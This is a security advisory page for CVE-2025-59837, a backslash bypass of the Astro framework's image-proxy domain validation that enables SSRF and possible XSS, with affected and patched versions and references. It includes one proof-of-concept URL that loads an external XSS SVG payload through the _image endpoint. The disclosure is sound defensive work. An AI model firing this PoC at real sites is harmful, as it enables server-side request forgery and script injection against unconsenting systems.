Astro's bypass of image proxy domain validation leads to SSRF and potential XSS

높음 7.2CVE-2025-59837 · GHSA-qcpr-679q-rhm2 · Published 28/10/2025 · updated 08/10/2026

요약

CVE-2025-59837은(는) astro (astro), astro에 영향을 주는 높음 (CVSS 7.2) 취약점입니다.
향후 30일 내 악용 확률(EPSS): 0.35%, 전체 취약점의 28.8%보다 높음.
조치: 5.13.10 이상으로 업데이트하세요.

Package	Affected versions	Patched versions
astro astro	`≥ 5.13.4, < 5.13.10`	`5.13.10`
astro npm	`≥ 5.13.4, < 5.13.10`	`5.13.10`

Description

Summary

This is a patch bypass of CVE-2025-58179 in commit 9ecf359. The fix blocks http://, https:// and //, but can be bypassed using backslashes (\) - the endpoint still issues a server-side fetch.

PoC

https://astro.build/_image?href=\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg

NVD description

Astro is a web framework that includes an image proxy. In versions 5.13.4 and later before 5.13.10, the image proxy domain validation can be bypassed by using backslashes in the href parameter, allowing server-side requests to arbitrary URLs. This can lead to server-side request forgery (SSRF) and potentially cross-site scripting (XSS). This vulnerability exists due to an incomplete fix for CVE-2025-58179. Fixed in 5.13.10.

References

withastro/astro security advisory · WEB
nvd.nist.gov/vuln/detail/CVE-2025-59837 · ADVISORY
withastro/astro commit 1e2499e · WEB
withastro/astro commit 9ecf359 · WEB
withastro/astro · PACKAGE

astro의 다른 취약점

모두 보기 →

Running one of these products? Scan your site to see whether it exposes a vulnerable version.

Scan my site free

Package

Affected versions

Patched versions

astro

≥ 5.13.4, < 5.13.10

5.13.10

astro

npm

≥ 5.13.4, < 5.13.10

5.13.10

Description

NVD description

astro의 다른 취약점

모두 보기 →